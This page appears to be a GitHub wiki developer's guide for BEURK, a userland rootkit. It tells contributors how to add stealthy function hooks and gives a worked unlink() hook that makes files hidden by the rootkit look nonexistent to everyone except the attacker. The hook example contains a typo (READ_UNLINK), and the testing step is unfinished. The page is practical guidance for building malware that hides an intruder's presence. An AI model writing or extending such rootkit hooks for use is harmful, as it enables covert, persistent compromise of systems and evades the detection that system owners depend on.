-
Notifications
You must be signed in to change notification settings - Fork 98
Developer's Guide
This guide provides best practices for writing code on BEURK rootkit.
An hook is an homemade function which pretends to be the real function.
As the rootkit is mostly based on function hooking, a complete procedure is available to ease new hooks development.
Every hook must meet the following requirements:
- A .c file in
/src/hooks/<HOOKNAME>.c
- A prototype in
/includes/hooks.h
- A dedicated unit test in
/tests/core/hooks
Our hooks are defined in hooks.h, a C header file that our builder parses to write our config.h, and used during the compilation step. We have to parse the hooks.h file, to generate the list of REAL_HOOKS that will be used to call the real syscall in our config.h.
The prototype must always specify the return type, followed by the real syscall name, separated by a single space. It must end with HOOKED, a macro defined earlier in the header file.
<return_type> <syscall>(args) _HOOKED;
Every hook is done in its singular file. Every hook must call the real syscall when idenfying the attacker, and do whatever you want it to do otherwise, keeping stealth in mind. Our DEBUG macro is there for debugging purpose, and must be present in every hook.
Each hook must be tested to assure that no breakage occurs, and to ensure
stealthyness. Those tests must be placed in the tests/core/hooks
directory.
Writing the hooked function prototype in /includes/hooks.h
is very important,
as each prototye of this header is parser by the builder, which generates
an accessor on real functions.
Real function accessors can be accessed through the REAL_<uppercase-hookname>
macro.
In this example, we decide to write an hook for the unlink(2) function.
- Add the prototype on hooks.h
-
(append to
/includes/hooks.h
):#include <unistd.h> int unlink(const char *pathname) _HOOKED;
NOTE: The
_HOOKED
macro tells the compiler that the function symbol must be visible, as the rootkit is compiled with-fvisibility=hidden
option.
- Write the hook itself
-
(create an appropriate .c file, aka
/src/hooks/unlink.c
):#include <errno.h> int unlink(const char *pathname) { DEBUG(D_INFO, "unlink() hooked.\n"); if (is_attacker()) return READ_UNLINK(pathname); else if (is_hidden_file(pathname)) { errno = ENOENT; return -1; } return REAL_UNLINK(pathname); }
NOTE: The
REAL_UNLINK
is an accessor to the real unlink function. It is generated by the BEURK's builder.
- Create a test for the hook
TODO